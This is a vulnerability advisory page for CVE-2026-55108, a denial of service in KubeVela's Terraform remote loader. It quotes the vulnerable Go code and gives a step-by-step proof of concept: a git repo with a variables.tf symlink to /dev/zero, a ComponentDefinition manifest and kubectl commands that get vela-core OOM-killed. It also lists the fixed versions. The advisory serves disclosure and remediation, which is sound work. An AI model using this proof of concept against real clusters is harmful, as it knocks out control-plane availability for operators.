Loading...
Skip to main content

CVE-2026-55108 — Vulnerability in github.com/oam-dev/kubevela —...

HIGH

KubeVela Terraform remote loader DoS via unbounded file read

Published August 28, 2026Updated September 12, 2026Source: osv

Summary

### Summary KubeVela's Terraform remote configuration loader can be abused to make `vela-core` read an unbounded byte stream into memory, causing an out-of-memory kill and a control-plane denial of service. The issue is reachable when a user with permission to create or update a `core.oam.dev/v1beta1` `ComponentDefinition` registers a Terraform `remote` schematic that points to a malicious or compromised git repository. The repository can contain a `variables.tf` symlink that resolves to `/dev/zero` after checkout. `vela-core` follows the symlink and calls `os.ReadFile` before HCL parsing, so memory grows until the controller is OOM killed. ### Details The affected code is in `pkg/controller/utils/capability.go`, inside `GetTerraformConfigurationFromRemote`: https://github.com/kubevela/kubevela/blob/a24d3a9c6/pkg/controller/utils/capability.go#L231-L242 ```go tfPath := filepath.Join(cachePath, remotePath, "variables.tf") if _, err := os.Stat(tfPath); err != nil { tfPath = filepath.Join(cachePath, remotePath, "main.tf") if _, err := os.Stat(tfPath); err != nil { return "", errors.Wrap(err, "failed to find main.tf or variables.tf in Terraform configurations of the remote repository") } } conf, err := os.ReadFile(filepath.Clean(tfPath)) if err != nil { return "", errors.Wrap(err, "failed to read Terraform configuration") } ``` When a `ComponentDefinition` uses: ```yaml schematic: terraform: type: remote configuration: <git repository URL> ``` the controller clones the user-supplied git repository and then reads `variables.tf` or `main.tf` from the checkout. The read path is built from attacker-controlled repository contents and `terraform.path`, but the code does not verify: - whether the target is a regular file; - whether the resolved path remains inside the clone cache; - how large the file is before reading it. Both `os.Stat` and `os.ReadFile` follow symlinks. If the repository contains `variables.tf -> ../../../../../../dev/zero`, then after checkout under the default cache path this symlink resolves to `/dev/zero`. `os.Stat` succeeds, and `os.ReadFile` reads from `/dev/zero`, which never returns EOF. The failure happens during `os.ReadFile`, before the content reaches HCL parsing or `ParseTerraformVariables`, so later validation cannot prevent the OOM. This vulnerability also has a path-traversal-like aspect, because symlinks and `terraform.path` can steer the read target outside the intended repository path. However, exposing arbitrary file contents would require the read data to pass HCL parsing before anything is written to a ConfigMap. Therefore, this report focuses on the availability impact caused by the unbounded read in `os.ReadFile` before HCL parsing, rather than a confidentiality impact. ### PoC Prerequisites: - KubeVela is installed with the default configuration, for example in a kind cluster: ```sh helm install --create-namespace -n vela-system kubevela kubevela/vela-core --wait ``` - I reproduced this with `oamdev/vela-core:v1.10.8` and a `vela-core` memory limit of 1Gi. - The attacker has `create` / `update` permissions for `core.oam.dev/v1beta1` `ComponentDefinition` in any namespace. - The tester can create a git repository that `vela-core` can clone. 1. Create a test git repository. In the repository root, add a relative `variables.tf` symlink that resolves to `/dev/zero` after checkout, then push it: ```sh git init poc-tf-dos && cd poc-tf-dos ln -s ../../../../../../dev/zero variables.tf git add variables.tf && git commit -m "poc" git remote add origin https://github.com/<YOUR_ORG>/<YOUR_REPO>.git git push -u origin main ``` 2. Create `poc-componentdefinition.yaml`. Replace `configuration` with the repository URL from step 1: ```yaml apiVersion: core.oam.dev/v1beta1 kind: ComponentDefinition metadata: name: dos-tf namespace: vela-system spec: workload: definition: apiVersion: apps/v1 kind: Deployment schematic: terraform: type: remote configuration: https://github.com/<YOUR_ORG>/<YOUR_REPO>.git path: "" ``` The workload GVK should reference a type that exists in the cluster, such as `apps/v1` `Deployment`. 3. Apply the manifest and observe `vela-core`: ```sh kubectl apply -f poc-componentdefinition.yaml kubectl -n vela-system get pods -l app.kubernetes.io/name=vela-core -w ``` 4. Confirm the OOMKilled termination: ```sh kubectl get pod -n vela-system -l app.kubernetes.io/name=vela-core \ -o jsonpath='{.items[0].status.containerStatuses[0].lastState.terminated}{"\n"}' ``` Expected result: ```text "exitCode":137 "reason":"OOMKilled" ``` The pod may then enter `CrashLoopBackOff`. If the reconcile fails with `stat .../main.tf: no such file or directory`, check that the symlink is relative and resolves to `/dev/zero` from the checkout location. If the same `ComponentDefinition` was already reconciled, remove the stale clone cache under `/root/.vela/terraform/<name>` and retry. ### Impact This is a denial-of-service vulnerability affecting KubeVela control-plane availability. A user who can create or update `ComponentDefinition` objects can cause the cluster-wide `vela-core` controller to be OOM killed. If `vela-core` has a memory limit, the impact is likely contained to repeated OOMKilled restarts of the controller Pod. If no effective memory limit is configured, the unbounded read can also pressure node memory and affect other workloads running on the same node.

Advisory Timeline

  • First published August 28, 2026 (45 days ago).
  • Last revised September 12, 2026 — 15 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update github.com/oam-dev/kubevela to 1.10.9 or later
go get github.com/oam-dev/kubevela@v1.10.9
Go
Update github.com/oam-dev/kubevela to 1.9.14 or later
go get github.com/oam-dev/kubevela@v1.9.14
Go
Update github.com/oam-dev/kubevela to 1.11.0-alpha.4 or later
go get github.com/oam-dev/kubevela@v1.11.0-alpha.4

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (3)

Affects 1 ecosystem: go (1).

PackageEcosystemAffectedFixed In
github.com/oam-dev/kubevela
go
All versions1.10.9
github.com/oam-dev/kubevela
go
All versions1.9.14
github.com/oam-dev/kubevela
go
All versions1.11.0-alpha.4

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.5 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
None
Availability
High

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:H

Frequently Asked Questions

What is CVE-2026-55108?
KubeVela Terraform remote loader DoS via unbounded file read This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.5/10).
How do I check if my project is affected by CVE-2026-55108?
CVE-2026-55108 affects github.com/oam-dev/kubevela. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-55108 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.5

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-fmgp-q6jx-gg3x
GO-2026-6312

Related CVEs

  • CVE-2026-107809
    HIGH

    Nginx-UI AuthRequired token cookie fallback enables CSRF against management APIs

  • CVE-2026-107813
    HIGH

    Nginx UI: Incomplete fix of CVE-2026-84315 - the api/cluster router was not - wrapped in RequireSecureSession, so those sensitive mutations run without OTP step-up

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies